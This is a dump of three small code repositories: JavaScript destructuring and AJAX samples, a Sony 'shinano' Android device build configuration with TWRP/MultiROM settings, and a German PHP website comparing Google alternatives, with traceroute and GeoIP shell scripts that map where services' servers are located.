console.log(firstName,lastName,country);<file_sep>/Destructuring/skipping.js const rgb = [200, 255, 100]; const x=255; // Skip the first two items // Assign the only third item to the blue variable const [,, blue] = rgb; console.log(`Blue: ${blue}`);<file_sep>/Exemple_ajax2/app.js document.getElementById('button1').addEventListener('click', loadCustomer); document.getElementById('button2').addEventListener('click', loadCustomers); const xhr = new XMLHttpRequest(); xhr.responseType = 'json'; // Load Single Customer function loadCustomer(e) { xhr.open('get','customer.json',true); xhr.onload = function () { var json = xhr.response; document.getElementById('customer').innerHTML = `<ul><li> ${json.id} <li>${json.name}</li> <li>${json.company}</li> <li>${json.phone}</li> </li></ul>`; } xhr.send(); } // Load Customers function loadCustomers(e) { xhr.open('get','customers.json',true); xhr.onload = function () { var json = xhr.responseText; var customers = JSON.parse(json); customers.forEach(function (index,value) { console.log(value); }) } xhr.send(); }<file_sep>/Destructuring/example3.js let country = 'Canada'; let firstname = 'John'; let lastname = 'Doe'; const student = { firstname: 'Glad', lastname: 'Chinda', country: 'Nigeria' }; ({ firstname, lastname } = student); console.log(firstname, lastname, country);<file_sep>/README.md Some javascript ,ajax, fetch , json server || samples and projects
f22873ac31d5393e4ab90ac178159579874a5943
[ "JavaScript", "Markdown" ]
12
JavaScript
abidSaifeddine/Javascript-json-server-fetch
b5dd25e5187d0dc54ff2fecf68cc95f344eb2d32
a1b3ad7d8d00a08802659e12c5f1c2f27ffc6558
refs/heads/master
<file_sep>Copyright 2013 - The CyanogenMod Project android_device_sony_shinano-common ================================ <file_sep># Copyright (C) 2013 The CyanogenMod Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # inherit from msm8974-common include device/sony/msm8974-common/BoardConfigCommon.mk TARGET_SPECIFIC_HEADER_PATH += device/sony/shinano-common/include # Platform BOARD_VENDOR_PLATFORM := shinano # Kernel information BOARD_KERNEL_BASE := 0x00000000 BOARD_KERNEL_PAGESIZE := 2048 BOARD_KERNEL_TAGS_OFFSET := 0x01E00000 BOARD_RAMDISK_OFFSET := 0x02000000 BOARD_KERNEL_BOOTIMG := true TARGET_NO_SEPARATE_RECOVERY := true BOARD_CUSTOM_BOOTIMG := true BOARD_KERNEL_SEPARATED_DT := true TARGET_DTB_EXTRA_FLAGS := --force-v2 BOARD_CUSTOM_BOOTIMG_MK := device/sony/shinano-common/boot/custombootimg.mk BOARD_MKBOOTIMG_ARGS := --ramdisk_offset 0x02000000 --tags_offset 0x01E00000 BOARD_KERNEL_CMDLINE := console=ttyHSL0,115200,n8 androidboot.hardware=shinano user_debug=31 msm_rtb.filter=0x37 ehci-hcd.park=3 BOARD_KERNEL_CMDLINE += dwc3.maximum_speed=high dwc3_msm.prop_chg_detect=Y androidboot.bootdevice=msm_sdcc.1 vmalloc=300M # ANT+ BOARD_ANT_WIRELESS_DEVICE := "vfs-prerelease" # Bluetooth BOARD_HAVE_BLUETOOTH := true BOARD_HAVE_BLUETOOTH_BCM := true BOARD_BLUETOOTH_BDROID_BUILDCFG_INCLUDE_DIR := device/sony/shinano-common/bluetooth BOARD_BLUEDROID_VENDOR_CONF := device/sony/shinano-common/bluetooth/vnd_shinano.txt # Camera TARGET_RELEASE_CPPFLAGS += -DNEEDS_VECTORIMPL_SYMBOLS BOARD_CAMERA_HAVE_ISO := true USE_DEVICE_SPECIFIC_CAMERA := true # CM Hardware BOARD_HARDWARE_CLASS += device/sony/shinano-common/cmhw # Dumpstate BOARD_LIB_DUMPSTATE := libdumpstate.sony # GPS TARGET_PROVIDES_GPS_LOC_API := true # Init TARGET_INIT_VENDOR_LIB := libinit_shinano # SELinux BOARD_SEPOLICY_DIRS += \ device/sony/shinano-common/sepolicy BOARD_SEPOLICY_UNION += \ mlog_qmi.te \ tfa_amp.te # Wifi WPA_SUPPLICANT_VERSION := VER_0_8_X BOARD_WLAN_DEVICE := bcmdhd BOARD_WPA_SUPPLICANT_DRIVER := NL80211 BOARD_WPA_SUPPLICANT_PRIVATE_LIB := lib_driver_cmd_$(BOARD_WLAN_DEVICE) BOARD_HOSTAPD_DRIVER := NL80211 BOARD_HOSTAPD_PRIVATE_LIB := lib_driver_cmd_$(BOARD_WLAN_DEVICE) WIFI_DRIVER_MODULE_PATH := "/system/lib/modules/bcmdhd.ko" WIFI_DRIVER_MODULE_NAME := "bcmdhd" WIFI_DRIVER_FW_PATH_PARAM := "/sys/module/bcmdhd/parameters/firmware_path" WIFI_DRIVER_FW_PATH_AP := "/system/etc/firmware/wlan/bcmdhd/fw_bcmdhd_apsta.bin" WIFI_DRIVER_FW_PATH_STA := "/system/etc/firmware/wlan/bcmdhd/fw_bcmdhd.bin" WIFI_DRIVER_MODULE_ARG := "nvram_path=/system/etc/firmware/wlan/bcmdhd/bcmdhd.cal" # NFC BOARD_NFC_CHIPSET := pn547 # Filesystem BOARD_FLASH_BLOCK_SIZE := 131072 TARGET_USERIMAGES_USE_EXT4 := true # Partition information BOARD_BOOTIMAGE_PARTITION_SIZE := 20971520 BOARD_RECOVERYIMAGE_PARTITION_SIZE := 16777216 BOARD_CACHEIMAGE_PARTITION_SIZE := 209715200 BOARD_SYSTEMIMAGE_PARTITION_SIZE := 2671771648 # Recovery TARGET_RECOVERY_FSTAB := device/sony/shinano-common/rootdir/twrp.fstab TARGET_RECOVERY_PIXEL_FORMAT := "RGBX_8888" BOARD_HAS_NO_SELECT_BUTTON := true BOARD_USE_CUSTOM_RECOVERY_FONT := \"roboto_23x41.h\" # TWRP flags DEVICE_RESOLUTION := 1080x1920 RECOVERY_GRAPHICS_USE_LINELENGTH := true RECOVERY_SDCARD_ON_DATA := true TW_HAS_NO_RECOVERY_PARTITION := true TW_FLASH_FROM_STORAGE := true TW_EXTERNAL_STORAGE_PATH := "/external_sd" TW_EXTERNAL_STORAGE_MOUNT_POINT := "external_sd" TW_DEFAULT_EXTERNAL_STORAGE := true # TW_INCLUDE_CRYPTO := true TW_INCLUDE_JB_CRYPTO := true TW_CRYPTO_FS_TYPE := "ext4" TW_CRYPTO_REAL_BLKDEV := "/dev/block/platform/msm_sdcc.1/by-name/userdata" TW_CRYPTO_MNT_POINT := "/data" TW_CRYPTO_FS_OPTIONS := "nosuid,nodev,barrier=1,noauto_da_alloc,discard" TW_CRYPTO_FS_FLAGS := "0x00000406" TW_CRYPTO_KEY_LOC := "footer" TW_INCLUDE_FUSE_EXFAT := true # TW_BOARD_CUSTOM_GRAPHICS := ../../../device/sony/shinano-common/recovery/twrpgraphics.c TW_BRIGHTNESS_PATH := /sys/class/leds/wled:backlight/brightness TW_MAX_BRIGHTNESS := 4095 TW_NO_USB_STORAGE := true TW_NO_SCREEN_BLANK := true #TARGET_USERIMAGES_USE_F2FS := true # Releasetools TARGET_RELEASETOOLS_EXTENSIONS := device/sony/shinano-common #MultiROM config. MultiROM also uses parts of TWRP config MR_INPUT_TYPE := type_b MR_INIT_DEVICES := device/sony/shinano-common/multirom/init_devices.c MR_DPI := xhdpi MR_KEXEC_DTB := true MR_DPI_FONT := 340 MR_FSTAB := device/sony/shinano-common/multirom/twrp.fstab MR_USE_MROM_FSTAB := true MR_KEXEC_MEM_MIN := 0x20000000 <file_sep>#include <stdlib.h> // The devices to init for Xperia Z const char *mr_init_devices[] = { // framebuffer device "/sys/class/graphics/fb0", // storage devices "/sys/dev/block*", "/sys/devices/msm_sdcc.1*", "/sys/devices/msm_sdcc.3*", "/sys//bus/platform/drivers/msm_hsusb_host*", "/sys/devices/virtual/misc/fuse", // input "/sys/class/misc/uinput", "/sys/class/input/input0", "/sys/class/input/input1", "/sys/class/input/input2", "/sys/class/input/input3", "/sys/class/input/input9", "/sys/class/input/event0", "/sys/class/input/event1", "/sys/class/input/event2", "/sys/class/input/event3", "/sys/class/input/event9", // adb "/sys/class/tty/ptmx", "/sys/class/misc/android_adb", "/sys/class/android_usb/android0/f_adb", NULL };
3358fb6c8d84551f8d22ba5b253a8e575eb41bf0
[ "Markdown", "C", "Makefile" ]
3
Markdown
AndroPlus-org/android_device_sony_shinano-common
307e62cbcbc885d4a5e37d3b04a71c3e817eacf6
e725cdd2df7664f45b029189d795de89be0d8606
refs/heads/master
<repo_name>DavidHellbrueck/thesis<file_sep>/Homepage/includes/footer.php <div id="footer"> <p> Copyright &copy; 2013-<?php echo date("Y"); ?> - <NAME>. <a href="index.php?seite=contact"><span class=""></span>Impressum</a>. <a href="index.php?seite=contact"><span class=""></span>Kontakt</a>. <br/> </p> </div> <!-- end #footer --> <file_sep>/Homepage/map/osm-map.php <?php // defaults $defaults = array( 'width' => '600px', 'height' => '400px', 'lon' => '6.975691', 'lat' => '49.235777', 'zoom' => '16', 'icontype' => 'default', 'scale' => '1', 'attribution' => '1', 'zoombar' => '1', 'xml' => '', ); // load options $fpath = 'options.conf'; $fpath_alternative = $_SERVER["DOCUMENT_ROOT"].'/map/osm-karte.conf'; if(file_exists($fpath_alternative)){ $fpath = $fpath_alternative; } $options = array(); $fh = fopen($fpath, 'r') or die('Cannot open file!'); while(!feof($fh)) { $line = fgets($fh); $line = trim($line); if((strlen($line) == 0) || (substr($line, 0, 1) == '#')) { continue; // ignore comments and empty rows } $arr_opts = preg_split('/\t/', $line); // tab separated $options[$arr_opts[0]] = $arr_opts[1]; } fclose($fh); // merge defaults with options $options = array_merge($defaults, $options); // load pathinfo if(isset($_SERVER['PATH_INFO'])){ $pathinfo = split("/", $_SERVER['PATH_INFO']); if(!empty($pathinfo[1])){ $options['xml'] = filter_var($pathinfo[1], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[a-z]*$/"))); } if(!empty($pathinfo[2])){ $options['width'] = filter_var($pathinfo[2], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[0-9px\%]{2,7}$/"))); } if(!empty($pathinfo[3])){ $options['height'] = filter_var($pathinfo[3], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[0-9px\%]{2,7}$/"))); } if(!empty($pathinfo[4])){ $options['lon'] = filter_var($pathinfo[4], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[0-9\.]{2,15}$/"))); } if(!empty($pathinfo[5])){ $options['lat'] = filter_var($pathinfo[5], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[0-9\.]{2,15}$/"))); } if(!empty($pathinfo[6])){ $options['zoom'] = filter_var($pathinfo[6], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[0-9]{1,2}$/"))); } } // load get variables if(!empty($_GET['xml'])){ $options['xml'] = filter_var($_GET['xml'], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[a-z]*$/"))); } if(!empty($_GET['width'])){ $options['width'] = filter_var($_GET['width'], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[0-9px\%]{2,7}$/"))); } if(!empty($_GET['height'])){ $options['height'] = filter_var($_GET['height'], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[0-9px\%]{2,7}$/"))); } if(!empty($_GET['lon'])){ $options['lon'] = filter_var($_GET['lon'], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[0-9\.]{2,15}$/"))); } if(!empty($_GET['lat'])){ $options['lat'] = filter_var($_GET['lat'], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[0-9\.]{2,15}$/"))); } if(isset($_GET['zoom'])){ $options['zoom'] = filter_var($_GET['zoom'], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[0-9]{1,2}$/"))); } if(!empty($_GET['desc'])){ $options['desc'] = filter_var($_GET['desc'], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[\w\s]{1,70}$/"))); } if(!empty($_GET['icontype'])){ $options['icontype'] = filter_var($_GET['icontype'], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[a-z\-]{1,20}$/"))); } if(isset($_GET['scale'])){ $options['scale'] = filter_var($_GET['scale'], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[0-1]{1}$/"))); } if(isset($_GET['attribution'])){ $options['attribution'] = filter_var($_GET['attribution'], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[0-1]{1}$/"))); } if(isset($_GET['zoombar'])){ $options['zoombar'] = filter_var($_GET['zoombar'], FILTER_VALIDATE_REGEXP, array("options"=>array("regexp"=>"/^[0-1]{1}$/"))); } if (isset($_GET['tiles'])) { // Do NOT allow to set tileurl directly! if ($_GET['tiles'] == "rrze-osmde") { $options['tileurl'] = 'http://osm.rrze.fau.de/osmde/${z}/${x}/${y}.png'; } if ($_GET['tiles'] == "rrze-osmorg") { $options['tileurl'] = 'http://osm.rrze.fau.de/tiles/${z}/${x}/${y}.png'; } if ($_GET['tiles'] == "osmorg") { $options['tileurl'] = 'http://tile.openstreetmap.org/${z}/${x}/${y}.png'; } } // load xml $xml_file = $_SERVER["DOCUMENT_ROOT"].'/map/'.$options['xml'].'.xml'; if (file_exists($xml_file)) { $xml = simplexml_load_file($xml_file, 'SimpleXMLElement', LIBXML_NOCDATA); $markers = array(); $i = 0; foreach($xml->children() as $child){ foreach($child->children() as $childchild){ $markers[$i][$childchild->getName()] = $childchild; } foreach($child->attributes() as $attribute => $value){ $markers[$i][$attribute] = $value; } $i++; } } ?> <script type="text/javascript" src="http://osm.rrze.uni-erlangen.de/OpenLayers.js"></script> <script type="text/javascript"> var map, markers; function addMarker(lonlat, popupContentHTML, iconType) { var size = new OpenLayers.Size(21,25); var offset = new OpenLayers.Pixel(-(size.w/2), -size.h); var feature = new OpenLayers.Feature(markers, lonlat.transform(new OpenLayers.Projection("EPSG:4326"), map.getProjectionObject())); feature.closeBox = true; feature.popupClass = OpenLayers.Popup.FramedCloud; feature.data.popupContentHTML = popupContentHTML; feature.data.icon = new OpenLayers.Icon('http://<?php echo $_SERVER["HTTP_HOST"]; ?>/map/osm-marker/'+iconType+'.png', size, offset); feature.layer.div.style.cursor = 'pointer'; var marker = feature.createMarker(); var markerClick = function (evt) { if (this.popup == null) { this.popup = this.createPopup(this.closeBox); map.addPopup(this.popup); this.popup.show(); } else { this.popup.toggle(); } currentPopup = this.popup; OpenLayers.Event.stop(evt); }; marker.events.register("mousedown", feature, markerClick); markers.addMarker(marker); } window.onload = function () { var attr = new OpenLayers.Control.Attribution(); var scale = new OpenLayers.Control.ScaleLine({bottomOutUnits: false, bottomInUnits: false}); map = new OpenLayers.Map('map', { controls: [<?php echo $options['scale']?'scale, ':''; ?><?php echo $options['attribution']?'attr, ':''; ?><?php echo $options['zoombar']?'new OpenLayers.Control.PanZoomBar()':'new OpenLayers.Control.PanZoom()'; ?>, new OpenLayers.Control.Navigation()] }); <?php if($options['attribution']){ ?>attr.div.style.bottom = '5px'; attr.div.style.right = '7px';<?php } ?> <?php if($options['scale']){ ?>scale.div.style.bottom = '7px'; scale.div.style.left = '7px';<?php } ?> var ll = new OpenLayers.LonLat(<?php echo $options['lon']; ?>, <?php echo $options['lat']; ?>); map.addLayer(new OpenLayers.Layer.OSM('OpenStreetMap', '<?php echo $options['tileurl']; ?>')); map.setCenter(ll.transform(new OpenLayers.Projection("EPSG:4326"), map.getProjectionObject()), <?php echo $options['zoom']; ?>); markers = new OpenLayers.Layer.Markers(); map.addLayer(markers); <?php if(!is_array($markers)){ ?>addMarker(new OpenLayers.LonLat(<?php echo $options['lon']; ?>, <?php echo $options['lat']; ?>), '<?php echo $options['desc']; ?>', '<?php echo $options['icontype']; ?>');<?php } ?> <?php foreach($markers as $marker){ ?>addMarker(new OpenLayers.LonLat(<?php echo $marker['lng']; ?>, <?php echo $marker['lat']; ?>), '<strong><?php echo $marker['label']; ?></strong><br /><?php echo $marker['infowindow']; ?>', '<?php echo ($marker['icontype']?$marker['icontype']:'default'); ?>');<?php } ?> }; </script> <div id="map" style="width:<?php echo $options['width']; ?>; height: <?php echo $options['height']; ?>;"></div><file_sep>/Homepage/script/csvundquellen.sh~ #!/bin/sh # Skript zur Erstellung einer CSV und Quellendatei # Funktion: Legt CSV und Quelldatei an, zusätzlich kann als zweiter Parameter noch die Anzahl der Quellen angeben. # Anschließend: Muss die csv mit Daten gefüllt werden, die erste Zeile beinhaltet den Einleitungstext. Mit dem ersten Zeilenumbruch beginnt die Tabelle. # Aufruf: sh skript [Parameter=Zahl und Dateiname] [Parameter2 = Anzahl der Quellen] # Beispiel: sh skript 01Search 10 ODER sh skript 01Search if [ $# -eq 0 ] then echo "Fehler. Kein Parameter übergeben. Sie müssen zumindest den Dateinamen in folgendem Format angeben. XY[Name] (XY = Zahl)." fi echo '<p><h3>Bemerkung</h3> <p/>' > '../bemerkung/'$1bemerkung.txt echo '<p class="einskommafuenf"> Beispiel... </p>' >> '../bemerkung/'$1bemerkung.txt echo '<p> <h3>Quellen:</h3> </p>' > '../quellen/'$1quelle.txt i=1 f=`expr $2 + 1` while [ $i -lt $f ] do echo '<p>' [$i] '</p>' >> '../quellen/'$1quelle.txt i=`expr $i + 1` done echo "<h2>Google $1</h2> <p class="einskommafuenf">Diese Tabelle gibt einen Überblick über mögliche Alternativen für die <i>Google Suche</i>. Alle aufgeführten Anbieter haben folgenden Funktionsumfang: </p> " > '../csv/'$1.csv <file_sep>/Homepage/map.php <?php //Einbinden der Funktionen.php include("./includes/funktionen.php"); header('Content-Type: text/html; charset=utf-8'); ?> <!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta name="author" content="dav" /> <meta name="description" content="Google Alternativen" /> <meta name="keywords" content="Google Alternativen, Dienste, Vergleich" /> <!--CSS einbinden --> <link rel="stylesheet" type="text/css" href="map/css/tables.css" media="screen" /> <link rel="stylesheet" type="text/css" href="css/style.css" media="screen" /> <link rel="stylesheet" type="text/css" href="css/button.css" media="screen" /> <link rel="stylesheet" type="text/css" href="css/tooltip.css" media="screen" /> <link rel="stylesheet" type="text/css" href="css/sidebar.css" media="screen" /> <title>Google Alternativen</title> </head> <body> <!-- Sidebar einbinden--> <nav> <?php include('includes/sidebar.php'); ?> </nav> <!--Header und Navigationsleiste im wrapper einbinden--> <div id="wrapper"> <?php include("includes/header.php"); ?> <?php include('includes/nav.php'); ?> <div id="content"> <h2>Serverstandorte</h2> <p class="einskommafuenf"> Selbstständig wurden die Serverstandorte (im Zeitraum vom 25.2.2015 bis 4.3.2015 mehrmals zu unterschiedlichen Tag- und Nachtzeiten) durch ein Skript ermittelt. Mittels <a href="http://linux.die.net/man/8/traceroute">Traceroute</a> wurde die Route der IP-Pakete ermittelt und anschließend die einzelnen IP-Adressen durch <a href="http://linux.die.net/man/8/traceroute">Geo-IP</a> die Geolocaten ermittelt. Anschließend konnte daran abgelesen werden über welchen Knotenpunkt die Antwort der Anfragen verschickt wurden. Die Knotenpunkte wurden auf der linken Seite gelistet und können durch das Klicken des zeigen-Buttons auf der Karte dargestellt werden. </p> <?php include('map/osm-map.php'); ?> </div> <!-- Ausgabe der Legende ist in der Funktionen.php hinterlegt--> <!-- Footer einbinden --> <?php include('includes/footer.php'); ?> </div> <!-- End #wrapper --> </body> </html> <file_sep>/README.md thesis ====== Gitprojekt von <NAME>.<file_sep>/Homepage/includes/nav.php <div id="nav"> <!-- Da der Button Home immer vorhanden sein soll, wurde er direkt implementiert--> <!-- Homebutton wurde in die Sidebar eingefügt. <input type="button" class="btn btn-inline btn-inverse" value="Home" onclick="window.location.href = '/index.php'"> --> <input type="button" class="btn btn-inline btn-success" value="Home" onclick="window.location.href = '/index.php'"> <input type="button" class="btn btn-inline btn-success" value="Server" onclick="window.location.href = '/map.php'"> <?php $ordner = './csv/'; //Ordner mit den CSVs. $alledateien = scandir($ordner); //Scannen des Ordners und alphabetische Sortierung foreach ($alledateien as $datei) { //Schleife! Solange wie Dateien vorhanden ausgeben! $dateiinfo = pathinfo($ordner."/".$datei); //Pfad der Datei zuweisen --> Nun steht $dateiinfo['filename'], allerdings erst ab PHP Version 5.2 zur Verfügung, diese schneidet die Dateiendung ab! if ($datei != "." && $datei != ".." && $datei != "readme") { //Folgende Dateien werden bei der Ausgabe nicht berücksichtigt. Auch eine readme ist möglich. echo '<input type="button" class="btn btn-inline btn-inverse" value="' . ucfirst(substr($dateiinfo['filename'], 2)) . '" onclick="window.location.href = \'index.php?seite=' . $dateiinfo['filename'] . '\'"> '; // Mit ucfirst(substr($dateiinfo['filename'], 2)) wird der Dateiname um zwei Zeichen gekürtzt und der erste Buchstabe wird groß geschrieben } } ?> </div> <!-- end #nav --> <file_sep>/Skript/Sicherung/trace.sh while read line do traceroute -n $line >> 1_traceroute.txt sleep 1 #IP-Adressen while read line do line=$(grep -oE '((1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.){3}(1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])') echo "$line\n" >> 1_ipadressen.txt echo "--------------------------------------" >> 1_ipadressen.txt done < 1_traceroute.txt sleep 1 #Standortermittlung while read line do echo "$line" >> 1_Standorte.txt geoiplookup $line >> 1_Standorte.txt echo "--------------------------------------" >> 1_Standorte.txt done < 1_ipadressen.txt sleep 1 #XY-Koordinaten while read line do line=$(grep -oE '(([0-9][0-9])\.[0-9][0-9][0-9][0-9][0-9][0-9]).*[0-9][0-9]') echo "$line\n" >> 1_xykoordinaten.txt echo "--------------------------------------" >> 1_xykoordinaten.txt done < 1_Standorte.txt echo "-1 Quelle bearbeitet-" done < 0_quellen.txt <file_sep>/Homepage/index.php <?php //Einbinden der Funktionen.php include("./includes/funktionen.php"); header('Content-Type: text/html; charset=utf-8'); include_once("./includes/analyticstracking.php"); ?> <!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta name="author" content="dav" /> <meta name="description" content="Google Alternativen" /> <meta name="keywords" content="Google Alternativen, Dienste, Vergleich" /> <!--CSS einbinden --> <link rel="stylesheet" type="text/css" href="css/style.css" media="screen" /> <link rel="stylesheet" type="text/css" href="css/table.css" media="screen" /> <link rel="stylesheet" type="text/css" href="css/button.css" media="screen" /> <link rel="stylesheet" type="text/css" href="css/tooltip.css" media="screen" /> <link rel="stylesheet" type="text/css" href="css/sidebar.css" media="screen" /> <title>Google Alternativen</title> </head> <body> <!-- Sidebar einbinden--> <nav> <?php include('includes/sidebar.php'); ?> </nav> <!--Header und Navigationsleiste im wrapper einbinden--> <div id="wrapper"> <?php include("includes/header.php"); ?> <?php include('includes/nav.php'); ?> <!-- Jetzt folgt der Inhalt der Seite --> <div id="content"> <?php if (isset($_GET['seite'])) //Abfrage, ob String hinter "?=" leer $seite = $_GET['seite']; ausgabeAll($seite); //Ausgabe der Seite, siehe funktionen.php ?> </div> <!-- end #content --> <!-- Ausgabe der Legende ist in der Funktionen.php hinterlegt--> <!-- Footer einbinden --> <?php include('includes/footer.php'); ?> </div> <!-- End #wrapper --> </body> </html> <file_sep>/Homepage/includes/hinweis.php <div id="hinweis" > <?php echo '<input type="button" class="btn btn-inline btn-small btn-warning" value="Diese Seite befindet sich im Aufbau, ' . date("d.m.Y") . '.' . '" onclick="window.location.href = \'index.php?seite=contact' . '\'"> '; ?> </div><file_sep>/Skript/GeoIP/1_ping.sh #Ping-Befehle -c3=Wie oft -i=Intervall in Sek. -w=Ende in Sek. -i5 -w20 while read line do ping -c1 $line >> ping.txt done < 0_quellen.txt sleep 3s #IP-Adressen ausschneiden while read line do line=$(grep -oE '((1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.){3}(1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])') echo "$line\n" >> ip.txt done < ping.txt sleep 3s #Geolocation while read line do echo "$line" >> Standorte.txt geoiplookup $line >> Standorte.txt done < ip.txt <file_sep>/Skript/Traceroute/0_tracerouteskript.sh while read line do traceroute -n $line > 1_traceroute.txt done < Quellen.txt sleep 3 #IP-Adressen while read line do line=$(grep -oE '((1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.){3}(1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])') echo "$line\n" > 1_ipadressen.txt done < 1_traceroute.txt sleep 3 #Standortermittlung while read line do echo "$line" >> 1_Standorte.txt geoiplookup $line >> 1_Standorte.txt done < 1_ipadressen.txt sleep 3 #XY-Koordinaten while read line do line=$(grep -oE '(([0-9][0-9])\.[0-9][0-9][0-9][0-9][0-9][0-9]).*[0-9][0-9]') echo "$line\n" > 1_xykoordinaten.txt done < 1_Standorte.txt <file_sep>/Homepage/includes/funktionen.php <?php //Seite ausgeben function ausgabeAll($seite) { $indextext = './includes/index.txt'; $quelle = "./quellen/".$seite."quelle.txt"; //Quelle zur gehörigen CSV-Datei $bemerkung = "./bemerkung/".$seite."bemerkung.txt"; $csv = "./csv/".$seite.".csv"; $txt= "./includes/".$seite; //FAQ und Contact aus includes lesen einlesen if ( $seite != '' ){ //Falls kein Parameter der Methode mitgeben wurde, dann keine index.php if (file_exists($csv)) { //Existiert die CSV überhaupt? ausgebenEinleitung($csv); //Ausgabe des Einleitungstextes der CSV ausgebenCSV($csv); //Ausgabe der CSV Tabelle ausgebenBemerkung($bemerkung); ausgebenQuelle($quelle); if ($seite != 'FAQ' || $seite != 'contact'|| $seite != 'links') //Ausgabe der Legende, wenn nicht FAQ oder Startseite include('./includes/legende.php'); } elseif ($seite == 'FAQ' || $seite == 'contact' || $seite == 'links') { //FAQ einlesen $ausgabe = fopen($txt,"r"); //lese Datei while(!feof($ausgabe)) { $zeile = fgets($ausgabe,4096); //lese Datei bis Zeilenende echo $zeile; } } else { //Falls keine CSV gefunden wurde, Fehlermeldung ausgeben. echo '<h2> Fehler: Die die csv konnte leider nicht gefunden werden. Wenden Sie sich an den Admin. <br>'; echo 'Die folgende Datei fehlt: ' . $csv . '. </h2>'; } } else { //Falls kein Name als Parameter in der get-Methode mitgegeben wurde, dann gebe index.php aus //Abfrage, ob Datei überhaupt existiert if (file_exists($indextext)) { //falls Datei vorhanden, dann öffne Datei $index = fopen($indextext,"r"); //lese Datei while(!feof($index)) { $zeile = fgets($index,8192); //lese Datei bis Zeilenende echo $zeile; //gebe Zeile aus } } else { echo 'Indexdatei "' . $indextext . '" konnte nicht gefunden werden.'; //Fehlertext, falls Datei nicht vorhanden } fclose($index); //Schließe Datei in jedem Fall } } //Erste Zeile (Überschrift + Einleitungstext) des CSV ausgeben function ausgebenEinleitung($csvDatei) { $datei = fopen($csvDatei, "r"); // CSV-Datei mit leserechten öffnen $einleitung = fgets($datei, 8192); echo $einleitung; fclose($datei); //Dateiverarbeitung schliessen } function ausgebenQuelle($quelle) { $datei = fopen($quelle, "r"); // CSV-Datei mit leserechten öffnen while(!feof($datei)) { $ausgabe = fgets($datei, 8192); echo $ausgabe; } if (!feof($datei)) { echo "Fehler: Konnte Quelle nicht ausgeben. \n"; } fclose($datei); //Dateiverarbeitung schliessen } function ausgebenBemerkung($bemerkung) { $datei = fopen($bemerkung, "r"); while(!feof($datei)) { $ausgabe = fgets($datei, 8192); echo $ausgabe; } if (!feof($datei)) { echo "Fehler: Konnte Bemerkung nicht ausgeben. \n"; } fclose($datei); //Dateiverarbeitung schliessen } //CSV auslesen und HTML Code generieren function ausgebenCSV($csvDatei) { // Konfiguration & Deklaration $firstRowHeader = true; $maxRows = 100; $maxColumn = 10; $counterRow = 0; $counterColumn = 0; $odd = true; $einleitung = true; $plus = '<img src="img/plus.png" alt="included" width="16" height="16" />'; $minus = '<img src="img/minus.png" alt="included" width="16" height="16" />'; $neutral = '<img src="img/neutral.png" alt="included" width="16" height="16" />'; // Zu suchende Zeichen $search = array("*+", "*-", "neutral"); // Zu ersetzende Zeichen $replace = array($plus, $minus, $neutral); // Daten auslesen und Tabelle generieren $handle = fopen($csvDatei, "r"); // CSV-Datei mit leserechten öffnen // Beginn Tabellen TAG echo '<table align="left">'; // CSV - Schleifendurchlauf while(($data = fgetcsv($handle, 2000, ";")) && ($counterRow < $maxRows)) { // Erste Spalten abfangen und aus der Schleife rausspringen if($einleitung) { $einleitung = false; continue; } $maxColumn = count($data) - 1; // Wenn ungerade, dann class="odd" if($odd){ echo '<tr class="odd">'; $odd = false; } else { echo '<tr>'; $odd = true; } if(($counterRow == 0) && ($firstRowHeader)) { while($counterColumn <= $maxColumn) { echo '<th><b>'.$data[$counterColumn].'</b></th>'; $counterColumn++; // Array CounterColumn hochzählen } } else { $counterColumn = 0; $firstRow = true; $lastRow = true; while($counterColumn <= $maxColumn) { //Erste Tabellenspalte Fett und linksausgerichtet mit tooltip if ($firstRow){ echo '<td class="tooltip" align="left"> <b>'; } else{ // Tabelleninhalt zentral ausgerichtet mit tooltip echo '<td class="tooltip" align="center">'; } // Durch str_replace werden alle plusse, minusse und neutral durch den HTML-Code in den Variablen ersetzt (+, - und neutral Symbol) $output = str_replace($search, $replace, $data[$counterColumn]); //Ausgabe des Tabelleninhaltes echo $output; //(Alternativ) //$array = explode("|",$output); //echo $array[0]; //Erste Tabellenspalte Fett if ($firstRow){ echo '</b> </td>'; $firstRow = false; } else{ echo "</td>"; } $counterColumn++; // Array CounterColumn hochzählen } } echo "</tr>"; $counterRow++; // Array CounterRow hochzählen } // Tabellen schluss TAG echo "</table>"; fclose($handle); //Dateiverarbeitung schliessen } ?>
bc6c4ec521ebb5ded1db187fe7a7fb039cd5a595
[ "Markdown", "PHP", "Shell" ]
12
PHP
DavidHellbrueck/thesis
e42661a210fefd4cdac1df06c9a81eba247dd0c7
b8992278b79a844a7bd5a936b5508b00fbd0b7ab
refs/heads/master
